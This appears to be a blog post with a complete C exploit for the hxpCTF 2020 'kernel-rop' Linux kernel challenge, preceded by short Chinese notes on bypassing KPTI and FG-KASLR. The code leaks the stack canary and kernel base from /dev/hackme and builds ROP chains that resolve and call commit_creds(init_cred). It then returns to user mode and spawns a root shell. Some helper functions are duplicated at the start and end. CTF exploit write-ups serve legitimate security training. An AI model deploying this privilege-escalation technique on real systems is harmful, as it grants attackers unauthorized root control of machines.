void _showAddr(char*name,size_t data){
BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
hxpCTF 2020-kernel-rop
利用手法:bypasskpti+fgkaslr
read的栈泄露
write栈溢出
题目很简单主要就是绕过fgkaslr
,查找gadget的时候在.text
的范围内
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include <stdlib.h>
#include <string.h>
#include<unistd.h>
#include<sys/mman.h>
#include<signal.h>
#include<pthread.h>
#include<linux/userfaultfd.h>
#include <sys/ioctl.h>
#include<syscall.h>
#include<poll.h>
#include <semaphore.h>
#pragma pack(16)
#define __int64 long long
#define CLOSE printf("\033[0m\n");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
#define YELLOW printf("\033[33m");
#define showAddr(var) _showAddr(#var,var);
#define _QWORD unsigned long
#define _DWORD unsigned int
#define _WORD unsigned short
#define _BYTE unsigned char
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t raw_direct_base=0xffff888000000000;
size_t commit_creds = 0,prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t swapgs_restore_regs_and_return_to_usermode=0;
size_t user_cs, user_ss, user_rflags, user_sp;
size_t init_cred=0;
size_t __ksymtab_commit_creds=0,__ksymtab_prepare_kernel_cred=0;
void save_status();
size_t find_symbols();
void _showAddr(char*name,size_t data);
void errExit(char * msg);
void getshell(void);
size_t cvegetbase();
int dev_fd;
char buf[0x300]={0};
size_t commit_creds_value_offset=0;
size_t canary=0;
size_t vmlinux_offset=0;
void get_commit_credsAddr(){
__asm__("mov commit_creds_value_offset,rax;");
puts("get_commit_credsAddr");
commit_creds_value_offset=commit_creds_value_offset&0xffffffff;
BLUE;printf("commit_creds_value_offset %llx",commit_creds_value_offset);CLOSE;
commit_creds=commit_creds_value_offset-(0x100000000)+__ksymtab_commit_creds;
BLUE;printf("commit_creds %llx",commit_creds);CLOSE;
size_t rop[]={
0xffffffff81006370+vmlinux_offset,
init_cred,
commit_creds,
swapgs_restore_regs_and_return_to_usermode,
0,
0,
getshell,
user_cs,
user_rflags,
user_sp,
user_ss
};
memcpy(buf+0xa0,rop,sizeof(rop));
write(dev_fd,buf,0xa0+sizeof(rop));
/*
0xffffffff81006370 : pop rdi ; ret
*/
}
void get_commit_credstoRAX(){
puts("get_commit_credstoRAX");
size_t rop[]={
0xffffffff81004d11+vmlinux_offset,
__ksymtab_commit_creds,
0xffffffff81015a7f+vmlinux_offset,
0,
swapgs_restore_regs_and_return_to_usermode,
0,
0,
get_commit_credsAddr,
user_cs,
user_rflags,
user_sp,
user_ss
};
memcpy(buf+0xa0,rop,sizeof(rop));
write(dev_fd,buf,0xa0+sizeof(rop));
/*
0xffffffff81004d11 : pop rax ; ret
0xffffffff81015a7f : mov rax, qword ptr [rax] ; pop rbp ; ret
*/
}
const char* FILESYM="/tmp/kallsyms\0";
const char* FileAttack="/dev/hackme\0";
int main(void){
save_status();
BLUE;puts("[*]start");CLOSE;
dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
read(dev_fd,buf,0x1f0);
binary_dump(NULL,buf,0x1f0);
canary=*(size_t*)(buf+0x80);
size_t vmlinux_leak=*(size_t*)(buf+0x120+0x10);
vmlinux_base=vmlinux_leak-0xa157;
showAddr(canary);
showAddr(vmlinux_base);
vmlinux_offset=vmlinux_base-raw_vmlinux_base;
init_cred=vmlinux_offset+0xffffffff82060f20;
__ksymtab_commit_creds=0xffffffff81f87d90+vmlinux_offset;
swapgs_restore_regs_and_return_to_usermode=0xffffffff81200f10+vmlinux_offset+0x16;
get_commit_credstoRAX();
BLUE;puts("[*]end");CLOSE;
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
void binary_dump(char *desc, void *addr, int len) {
_QWORD *buf64 = (_QWORD *) addr;
_BYTE *buf8 = (_BYTE *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void _showAddr(char*name,size_t data){
BLUE;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}
【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog